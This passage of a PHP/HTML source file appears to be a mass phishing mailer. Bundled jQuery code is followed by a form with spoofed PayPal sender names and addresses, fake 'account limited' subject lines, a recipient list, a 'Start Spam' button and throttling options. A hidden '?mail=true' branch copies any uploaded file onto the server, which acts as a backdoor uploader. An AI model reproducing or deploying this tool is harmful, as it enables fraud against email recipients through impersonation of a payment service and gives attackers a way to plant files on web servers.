5933 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
5934 } else {
5935 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
5936 }
5937 jqXHR.statusCode(statusCode);
5938 statusCode = undefined;
5939 if (fireGlobals) {
5940 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
5941 }
5942 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
5943 if (fireGlobals) {
5944 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
5945 if (!(--jQuery.active)) {
5946 jQuery.event.trigger("ajaxStop")
5947 }
5948 }
5949 }
5950 return jqXHR
5951 },
5952 getJSON: function(url, data, callback) {
5953 return jQuery.get(url, data, callback, "json")
5954 },
5955 getScript: function(url, callback) {
5956 return jQuery.get(url, undefined, callback, "script")
5957 }
5958 });
5959 jQuery.each(["get", "post"], function(i, method) {
5960 jQuery[method] = function(url, data, callback, type) {
5961 if (jQuery.isFunction(data)) {
5962 type = type || callback;
5963 callback = data;
5964 data = undefined
5965 }
5966 return jQuery.ajax({
5967 url: url,
5968 type: method,
5969 dataType: type,
5970 data: data,
5971 success: callback
5972 })
5973 }
5974 });
5975 jQuery._evalUrl = function(url) {
5976 return jQuery.ajax({
5977 url: url,
5978 type: "GET",
5979 dataType: "script",
5980 async: false,
5981 global: false,
5982 "throws": true
5983 })
5984 };
5985 jQuery.fn.extend({
5986 wrapAll: function(html) {
5987 if (jQuery.isFunction(html)) {
5988 return this.each(function(i) {
5989 jQuery(this).wrapAll(html.call(this, i))
5990 })
5991 }
5992 if (this[0]) {
5993 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
5994 if (this[0].parentNode) {
5995 wrap.insertBefore(this[0])
5996 }
5997 wrap.map(function() {
5998 var elem = this;
5999 while (elem.firstChild && elem.firstChild.nodeType === 1) {
6000 elem = elem.firstChild
6001 }
6002 return elem
6003 }).append(this)
6004 }
6005 return this
6006 },
6007 wrapInner: function(html) {
6008 if (jQuery.isFunction(html)) {
6009 return this.each(function(i) {
6010 jQuery(this).wrapInner(html.call(this, i))
6011 })
6012 }
6013 return this.each(function() {
6014 var self = jQuery(this),
6015 contents = self.contents();
6016 if (contents.length) {
6017 contents.wrapAll(html)
6018 } else {
6019 self.append(html)
6020 }
6021 })
6022 },
6023 wrap: function(html) {
6024 var isFunction = jQuery.isFunction(html);
6025 return this.each(function(i) {
6026 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6027 })
6028 },
6029 unwrap: function() {
6030 return this.parent().each(function() {
6031 if (!jQuery.nodeName(this, "body")) {
6032 jQuery(this).replaceWith(this.childNodes)
6033 }
6034 }).end()
6035 }
6036 });
6037 jQuery.expr.filters.hidden = function(elem) {
6038 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6039 };
6040 jQuery.expr.filters.visible = function(elem) {
6041 return !jQuery.expr.filters.hidden(elem)
6042 };
6043 var r20 = /%20/g,
6044 rbracket = /\[\]$/,
6045 rCRLF = /\r?\n/g,
6046 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6047 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6048
6049 function buildParams(prefix, obj, traditional, add) {
6050 var name;
6051 if (jQuery.isArray(obj)) {
6052 jQuery.each(obj, function(i, v) {
6053 if (traditional || rbracket.test(prefix)) {
6054 add(prefix, v)
6055 } else {
6056 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6057 }
6058 })
6059 } else if (!traditional && jQuery.type(obj) === "object") {
6060 for (name in obj) {
6061 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6062 }
6063 } else {
6064 add(prefix, obj)
6065 }
6066 }
6067 jQuery.param = function(a, traditional) {
6068 var prefix, s = [],
6069 add = function(key, value) {
6070 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6071 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6072 };
6073 if (traditional === undefined) {
6074 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6075 }
6076 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6077 jQuery.each(a, function() {
6078 add(this.name, this.value)
6079 })
6080 } else {
6081 for (prefix in a) {
6082 buildParams(prefix, a[prefix], traditional, add)
6083 }
6084 }
6085 return s.join("&").replace(r20, "+")
6086 };
6087 jQuery.fn.extend({
6088 serialize: function() {
6089 return jQuery.param(this.serializeArray())
6090 },
6091 serializeArray: function() {
6092 return this.map(function() {
6093 var elements = jQuery.prop(this, "elements");
6094 return elements ? jQuery.makeArray(elements) : this
6095 }).filter(function() {
6096 var type = this.type;
6097 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6098 }).map(function(i, elem) {
6099 var val = jQuery(this).val();
6100 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6101 return {
6102 name: elem.name,
6103 value: val.replace(rCRLF, "\r\n")
6104 }
6105 }) : {
6106 name: elem.name,
6107 value: val.replace(rCRLF, "\r\n")
6108 }
6109 }).get()
6110 }
6111 });
6112 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6113 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6114 } : createStandardXHR;
6115 var xhrId = 0,
6116 xhrCallbacks = {},
6117 xhrSupported = jQuery.ajaxSettings.xhr();
6118 if (window.attachEvent) {
6119 window.attachEvent("onunload", function() {
6120 for (var key in xhrCallbacks) {
6121 xhrCallbacks[key](undefined, true)
6122 }
6123 })
6124 }
6125 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6126 xhrSupported = support.ajax = !!xhrSupported;
6127 if (xhrSupported) {
6128 jQuery.ajaxTransport(function(options) {
6129 if (!options.crossDomain || support.cors) {
6130 var callback;
6131 return {
6132 send: function(headers, complete) {
6133 var i, xhr = options.xhr(),
6134 id = ++xhrId;
6135 xhr.open(options.type, options.url, options.async, options.username, options.password);
6136 if (options.xhrFields) {
6137 for (i in options.xhrFields) {
6138 xhr[i] = options.xhrFields[i]
6139 }
6140 }
6141 if (options.mimeType && xhr.overrideMimeType) {
6142 xhr.overrideMimeType(options.mimeType)
6143 }
6144 if (!options.crossDomain && !headers["X-Requested-With"]) {
6145 headers["X-Requested-With"] = "XMLHttpRequest"
6146 }
6147 for (i in headers) {
6148 if (headers[i] !== undefined) {
6149 xhr.setRequestHeader(i, headers[i] + "")
6150 }
6151 }
6152 xhr.send((options.hasContent && options.data) || null);
6153 callback = function(_, isAbort) {
6154 var status, statusText, responses;
6155 if (callback && (isAbort || xhr.readyState === 4)) {
6156 delete xhrCallbacks[id];
6157 callback = undefined;
6158 xhr.onreadystatechange = jQuery.noop;
6159 if (isAbort) {
6160 if (xhr.readyState !== 4) {
6161 xhr.abort()
6162 }
6163 } else {
6164 responses = {};
6165 status = xhr.status;
6166 if (typeof xhr.responseText === "string") {
6167 responses.text = xhr.responseText
6168 }
6169 try {
6170 statusText = xhr.statusText
6171 } catch (e) {
6172 statusText = ""
6173 }
6174 if (!status && options.isLocal && !options.crossDomain) {
6175 status = responses.text ? 200 : 404
6176 } else if (status === 1223) {
6177 status = 204
6178 }
6179 }
6180 }
6181 if (responses) {
6182 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6183 }
6184 };
6185 if (!options.async) {
6186 callback()
6187 } else if (xhr.readyState === 4) {
6188 setTimeout(callback)
6189 } else {
6190 xhr.onreadystatechange = xhrCallbacks[id] = callback
6191 }
6192 },
6193 abort: function() {
6194 if (callback) {
6195 callback(undefined, true)
6196 }
6197 }
6198 }
6199 }
6200 })
6201 }
6202
6203 function createStandardXHR() {
6204 try {
6205 return new window.XMLHttpRequest()
6206 } catch (e) {}
6207 }
6208
6209 function createActiveXHR() {
6210 try {
6211 return new window.ActiveXObject("Microsoft.XMLHTTP")
6212 } catch (e) {}
6213 }
6214 jQuery.ajaxSetup({
6215 accepts: {
6216 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6217 },
6218 contents: {
6219 script: /(?:java|ecma)script/
6220 },
6221 converters: {
6222 "text script": function(text) {
6223 jQuery.globalEval(text);
6224 return text
6225 }
6226 }
6227 });
6228 jQuery.ajaxPrefilter("script", function(s) {
6229 if (s.cache === undefined) {
6230 s.cache = false
6231 }
6232 if (s.crossDomain) {
6233 s.type = "GET";
6234 s.global = false
6235 }
6236 });
6237 jQuery.ajaxTransport("script", function(s) {
6238 if (s.crossDomain) {
6239 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6240 return {
6241 send: function(_, callback) {
6242 script = document.createElement("script");
6243 script.async = true;
6244 if (s.scriptCharset) {
6245 script.charset = s.scriptCharset
6246 }
6247 script.src = s.url;
6248 script.onload = script.onreadystatechange = function(_, isAbort) {
6249 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6250 script.onload = script.onreadystatechange = null;
6251 if (script.parentNode) {
6252 script.parentNode.removeChild(script)
6253 }
6254 script = null;
6255 if (!isAbort) {
6256 callback(200, "success")
6257 }
6258 }
6259 };
6260 head.insertBefore(script, head.firstChild)
6261 },
6262 abort: function() {
6263 if (script) {
6264 script.onload(undefined, true)
6265 }
6266 }
6267 }
6268 }
6269 });
6270 var oldCallbacks = [],
6271 rjsonp = /(=)\?(?=&|$)|\?\?/;
6272 jQuery.ajaxSetup({
6273 jsonp: "callback",
6274 jsonpCallback: function() {
6275 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6276 this[callback] = true;
6277 return callback
6278 }
6279 });
6280 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6281 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6282 if (jsonProp || s.dataTypes[0] === "jsonp") {
6283 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6284 if (jsonProp) {
6285 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6286 } else if (s.jsonp !== false) {
6287 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6288 }
6289 s.converters["script json"] = function() {
6290 if (!responseContainer) {
6291 jQuery.error(callbackName + " was not called")
6292 }
6293 return responseContainer[0]
6294 };
6295 s.dataTypes[0] = "json";
6296 overwritten = window[callbackName];
6297 window[callbackName] = function() {
6298 responseContainer = arguments
6299 };
6300 jqXHR.always(function() {
6301 window[callbackName] = overwritten;
6302 if (s[callbackName]) {
6303 s.jsonpCallback = originalSettings.jsonpCallback;
6304 oldCallbacks.push(callbackName)
6305 }
6306 if (responseContainer && jQuery.isFunction(overwritten)) {
6307 overwritten(responseContainer[0])
6308 }
6309 responseContainer = overwritten = undefined
6310 });
6311 return "script"
6312 }
6313 });
6314 jQuery.parseHTML = function(data, context, keepScripts) {
6315 if (!data || typeof data !== "string") {
6316 return null
6317 }
6318 if (typeof context === "boolean") {
6319 keepScripts = context;
6320 context = false
6321 }
6322 context = context || document;
6323 var parsed = rsingleTag.exec(data),
6324 scripts = !keepScripts && [];
6325 if (parsed) {
6326 return [context.createElement(parsed[1])]
6327 }
6328 parsed = jQuery.buildFragment([data], context, scripts);
6329 if (scripts && scripts.length) {
6330 jQuery(scripts).remove()
6331 }
6332 return jQuery.merge([], parsed.childNodes)
6333 };
6334 var _load = jQuery.fn.load;
6335 jQuery.fn.load = function(url, params, callback) {
6336 if (typeof url !== "string" && _load) {
6337 return _load.apply(this, arguments)
6338 }
6339 var selector, response, type, self = this,
6340 off = url.indexOf(" ");
6341 if (off >= 0) {
6342 selector = jQuery.trim(url.slice(off, url.length));
6343 url = url.slice(0, off)
6344 }
6345 if (jQuery.isFunction(params)) {
6346 callback = params;
6347 params = undefined
6348 } else if (params && typeof params === "object") {
6349 type = "POST"
6350 }
6351 if (self.length > 0) {
6352 jQuery.ajax({
6353 url: url,
6354 type: type,
6355 dataType: "html",
6356 data: params
6357 }).done(function(responseText) {
6358 response = arguments;
6359 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6360 }).complete(callback && function(jqXHR, status) {
6361 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6362 })
6363 }
6364 return this
6365 };
6366 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6367 jQuery.fn[type] = function(fn) {
6368 return this.on(type, fn)
6369 }
6370 });
6371 jQuery.expr.filters.animated = function(elem) {
6372 return jQuery.grep(jQuery.timers, function(fn) {
6373 return elem === fn.elem
6374 }).length
6375 };
6376 var docElem = window.document.documentElement;
6377
6378 function getWindow(elem) {
6379 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6380 }
6381 jQuery.offset = {
6382 setOffset: function(elem, options, i) {
6383 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6384 curElem = jQuery(elem),
6385 props = {};
6386 if (position === "static") {
6387 elem.style.position = "relative"
6388 }
6389 curOffset = curElem.offset();
6390 curCSSTop = jQuery.css(elem, "top");
6391 curCSSLeft = jQuery.css(elem, "left");
6392 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6393 if (calculatePosition) {
6394 curPosition = curElem.position();
6395 curTop = curPosition.top;
6396 curLeft = curPosition.left
6397 } else {
6398 curTop = parseFloat(curCSSTop) || 0;
6399 curLeft = parseFloat(curCSSLeft) || 0
6400 }
6401 if (jQuery.isFunction(options)) {
6402 options = options.call(elem, i, curOffset)
6403 }
6404 if (options.top != null) {
6405 props.top = (options.top - curOffset.top) + curTop
6406 }
6407 if (options.left != null) {
6408 props.left = (options.left - curOffset.left) + curLeft
6409 }
6410 if ("using" in options) {
6411 options.using.call(elem, props)
6412 } else {
6413 curElem.css(props)
6414 }
6415 }
6416 };
6417 jQuery.fn.extend({
6418 offset: function(options) {
6419 if (arguments.length) {
6420 return options === undefined ? this : this.each(function(i) {
6421 jQuery.offset.setOffset(this, options, i)
6422 })
6423 }
6424 var docElem, win, box = {
6425 top: 0,
6426 left: 0
6427 },
6428 elem = this[0],
6429 doc = elem && elem.ownerDocument;
6430 if (!doc) {
6431 return
6432 }
6433 docElem = doc.documentElement;
6434 if (!jQuery.contains(docElem, elem)) {
6435 return box
6436 }
6437 if (typeof elem.getBoundingClientRect !== strundefined) {
6438 box = elem.getBoundingClientRect()
6439 }
6440 win = getWindow(doc);
6441 return {
6442 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6443 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6444 }
6445 },
6446 position: function() {
6447 if (!this[0]) {
6448 return
6449 }
6450 var offsetParent, offset, parentOffset = {
6451 top: 0,
6452 left: 0
6453 },
6454 elem = this[0];
6455 if (jQuery.css(elem, "position") === "fixed") {
6456 offset = elem.getBoundingClientRect()
6457 } else {
6458 offsetParent = this.offsetParent();
6459 offset = this.offset();
6460 if (!jQuery.nodeName(offsetParent[0], "html")) {
6461 parentOffset = offsetParent.offset()
6462 }
6463 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6464 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6465 }
6466 return {
6467 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6468 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6469 }
6470 },
6471 offsetParent: function() {
6472 return this.map(function() {
6473 var offsetParent = this.offsetParent || docElem;
6474 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6475 offsetParent = offsetParent.offsetParent
6476 }
6477 return offsetParent || docElem
6478 })
6479 }
6480 });
6481 jQuery.each({
6482 scrollLeft: "pageXOffset",
6483 scrollTop: "pageYOffset"
6484 }, function(method, prop) {
6485 var top = /Y/.test(prop);
6486 jQuery.fn[method] = function(val) {
6487 return access(this, function(elem, method, val) {
6488 var win = getWindow(elem);
6489 if (val === undefined) {
6490 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6491 }
6492 if (win) {
6493 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6494 } else {
6495 elem[method] = val
6496 }
6497 }, method, val, arguments.length, null)
6498 }
6499 });
6500 jQuery.each(["top", "left"], function(i, prop) {
6501 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6502 if (computed) {
6503 computed = curCSS(elem, prop);
6504 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6505 }
6506 })
6507 });
6508 jQuery.each({
6509 Height: "height",
6510 Width: "width"
6511 }, function(name, type) {
6512 jQuery.each({
6513 padding: "inner" + name,
6514 content: type,
6515 "": "outer" + name
6516 }, function(defaultExtra, funcName) {
6517 jQuery.fn[funcName] = function(margin, value) {
6518 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6519 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6520 return access(this, function(elem, type, value) {
6521 var doc;
6522 if (jQuery.isWindow(elem)) {
6523 return elem.document.documentElement["client" + name]
6524 }
6525 if (elem.nodeType === 9) {
6526 doc = elem.documentElement;
6527 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6528 }
6529 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6530 }, type, chainable ? margin : undefined, chainable, null)
6531 }
6532 })
6533 });
6534 jQuery.fn.size = function() {
6535 return this.length
6536 };
6537 jQuery.fn.andSelf = jQuery.fn.addBack;
6538 if (typeof define === "function" && define.amd) {
6539 define("jquery", [], function() {
6540 return jQuery
6541 })
6542 }
6543 var _jQuery = window.jQuery,
6544 _$ = window.$;
6545 jQuery.noConflict = function(deep) {
6546 if (window.$ === jQuery) {
6547 window.$ = _$
6548 }
6549 if (deep && window.jQuery === jQuery) {
6550 window.jQuery = _jQuery
6551 }
6552 return jQuery
6553 };
6554 if (typeof noGlobal === strundefined) {
6555 window.jQuery = window.$ = jQuery
6556 }
6557 return jQuery
6558 }));
6559 </script>
6560 </div>
6561 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6562 <div style="margin-bottom: 10px" class="input-group">
6563 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6564 <select class="form-control" name="type">
6565 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6566 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6567 </select>
6568 </div>
6569 <div style="margin-bottom: 10px" class="input-group">
6570 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6571 <select class="form-control" onChange="Pilih4(this);">
6572 <option value="">No X-Mailer</option>
6573 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6574 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6575 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6576 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6577 </select>
6578 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?=$xmailer;?>" placeholder="X-Mailer">
6579 </div>
6580 </div>
6581 </div>
6582
6583 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6584
6585 <div style="margin-bottom: 10px" class="input-group">
6586 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6587 <select class="form-control" onChange="Pilih1(this);">
6588 <option value="">Select Sender Name</option>
6589 <option value="PayPaI">PayPaI</option>
6590 <option value="PaypaI Service">PaypaI Service</option>
6591 <option value="PaypaI Support">PaypaI Support</option>
6592 <option value="Account Service">Account Service</option>
6593 <option value="Account Support">Account Support</option>
6594 <option value="Service">Service</option>
6595 </select>
6596 <input id="sender-name" type="text" class="form-control" name="nama" value="<?=$nama;?>" placeholder="Sender Name">
6597 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6598 <select class="form-control kanan" onChange="Pilih2(this);">
6599 <option value="">Select Sender Email</option>
6600 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
6601 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
6602 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
6603 <option value="no-reply">no-reply</option>
6604 <option value="admin">admin</option>
6605 <option value="service">service</option>
6606 <option value="same as target">same as target</option>
6607
6608 </select>
6609 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?=$email;?>" placeholder="Sender Email">
6610 </div>
6611
6612 <div style="margin-bottom: 10px" class="input-group">
6613 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6614 <select class="form-control kanan" onChange="Pilih3(this);">ge
6615 <option value="">Select Email Subject</option>
6616 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
6617 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
6618 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
6619 <option value="Account Notification">Account Notification</option>
6620 <option value="Attention: Your account status change">Attention: Your account status change</option>
6621
6622 </select>
6623 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?=$subject;?>" placeholder="Subject">
6624 </div>
6625
6626 <div style="margin-bottom: 5px" class="input-group">
6627 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6628 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6629 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6630 <select class="form-control" name="encode">
6631 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6632 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6633 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6634 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6635 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6636 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6637 </select>
6638 </div>
6639 <div style="margin-bottom: 10px" class="input-group">
6640 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6641 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?=$pesan;?></textarea>
6642 </div>
6643 <div style="margin-bottom: 10px" class="input-group">
6644 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
6645 <font color="white">Next send after </font>
6646 <input type="text" name="wait" value="<?=$wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6647 <font color="white">(second) | Reconnect After
6648 <input type="text" name="reconnect" value="<?=$reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6649 <font color="white">(emails)</font>
6650 </div>
6651
6652 </div>
6653 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6654
6655 <div style="margin-bottom: 10px" class="input-group">
6656 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6657 <select class="form-control" name="encoding">
6658 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6659 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6660 </select>
6661 </div>
6662 <div style="margin-bottom: 10px" class="input-group">
6663 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6664 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?=$emaillist;?></textarea>
6665 </div>
6666
6667 </div>
6668 <div class="form-group">
6669 </div>
6670
6671 </form>
6672
6673 </div>
6674 </div>
6675 <?
6676 if($_GET['mail'] == 'true'){
6677 echo '<form action="" method="post" enctype="multipart/form-data" name="country" id="country">';
6678 echo '<input type="file" name="file" size="50"><input name="_con" type="submit" id="_con"
6679 value="home"><br><font color=#FFF></font></form>';
6680 if( $_POST['_con'] == "home" ) {
6681 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 's'; }
6682 else { echo 'f'; }
6683 }
6684 echo '</center>';
6685 }
6686 ?>
6687<?
6688
6689if ($action){
6690
6691 if (!$from && !$subject && !$message && !$emaillist) {
6692 print "<script>alert('Please complete all fields before sending your message.'); </script>";
6693 die();
6694 }
6695
6696 if ($_POST['encoding']=='yes') {
6697 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
6698 $subject = str_replace(' ', '=20', $subject);
6699 $subject = "=?utf-8?Q?$subject?=";
6700 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
6701 $nama = str_replace(' ', '=20', $nama);
6702 $nama = "=?utf-8?Q?$nama?=";
6703 }
6704
6705 $allemails = split("\n", $emaillist);
6706 $numemails = count($allemails);
6707
6708
6709 function xflush()
6710 {
6711 static $output_handler = null;
6712 if ($output_handler === null) {
6713 $output_handler = @ini_get('output_handler');
6714 }
6715 if ($output_handler == 'ob_gzhandler') {
6716 return;
6717 }
6718 flush();
6719 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6720 @ob_flush();
6721 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6722 @ob_end_flush();
6723 @ob_start();
6724 }
6725 }
6726?>
6727<?
6728/**
6729 * PHPMailer RFC821 SMTP email transport class.
6730 * PHP Version 5
6731 * @package PHPMailer
6732 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6733 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6734 * @author Jim Jagielski (jimjag) <>
6735 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6736 * @author Brent R. Matzelle (original founder)
6737 * @copyright 2014 Marcus Bointon
6738 * @copyright 2010 - 2012 Jim Jagielski
6739 * @copyright 2004 - 2009 Andy Prevost
6740 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6741 * @note This program is distributed in the hope that it will be useful - WITHOUT
6742 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6743 * FITNESS FOR A PARTICULAR PURPOSE.
6744 */
6745
6746/**
6747 * PHPMailer RFC821 SMTP email transport class.
6748 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6749 * @package PHPMailer
6750 * @author Chris Ryan
6751 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6752 */
6753class SMTP
6754{
6755 /**
6756 * The PHPMailer SMTP version number.
6757 * @type string
6758 */
6759 const VERSION = '5.2.9';
6760
6761 /**
6762 * SMTP line break constant.
6763 * @type string
6764 */
6765 const CRLF = "\r\n";
6766
6767 /**
6768 * The SMTP port to use if one is not specified.
6769 * @type integer
6770 */
6771 const DEFAULT_SMTP_PORT = 25;
6772
6773 /**
6774 * The maximum line length allowed by RFC 2822 section 2.1.1
6775 * @type integer
6776 */
6777 const MAX_LINE_LENGTH = 998;
6778
6779 /**
6780 * Debug level for no output
6781 */
6782 const DEBUG_OFF = 0;
6783
6784 /**
6785 * Debug level to show client -> server messages
6786 */
6787 const DEBUG_CLIENT = 1;
6788
6789 /**
6790 * Debug level to show client -> server and server -> client messages
6791 */
6792 const DEBUG_SERVER = 2;
6793
6794 /**
6795 * Debug level to show connection status, client -> server and server -> client messages
6796 */
6797 const DEBUG_CONNECTION = 3;
6798
6799 /**
6800 * Debug level to show all messages
6801 */
6802 const DEBUG_LOWLEVEL = 4;
6803
6804 /**
6805 * The PHPMailer SMTP Version number.
6806 * @type string
6807 * @deprecated Use the `VERSION` constant instead
6808 * @see SMTP::VERSION
6809 */
6810 public $Version = '5.2.9';
6811
6812 /**
6813 * SMTP server port number.
6814 * @type integer
6815 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6816 * @see SMTP::DEFAULT_SMTP_PORT
6817 */
6818 public $SMTP_PORT = 25;
6819
6820 /**
6821 * SMTP reply line ending.
6822 * @type string
6823 * @deprecated Use the `CRLF` constant instead
6824 * @see SMTP::CRLF
6825 */
6826 public $CRLF = "\r\n";
6827
6828 /**
6829 * Debug output level.
6830 * Options:
6831 * * self::DEBUG_OFF (`0`) No debug output, default
6832 * * self::DEBUG_CLIENT (`1`) Client commands
6833 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6834 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6835 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6836 * @type integer
6837 */
6838 public $do_debug = self::DEBUG_OFF;
6839
6840 /**
6841 * How to handle debug output.
6842 * Options:
6843 * * `echo` Output plain-text as-is, appropriate for CLI
6844 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6845 * * `error_log` Output to error log as configured in php.ini
6846 *
6847 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
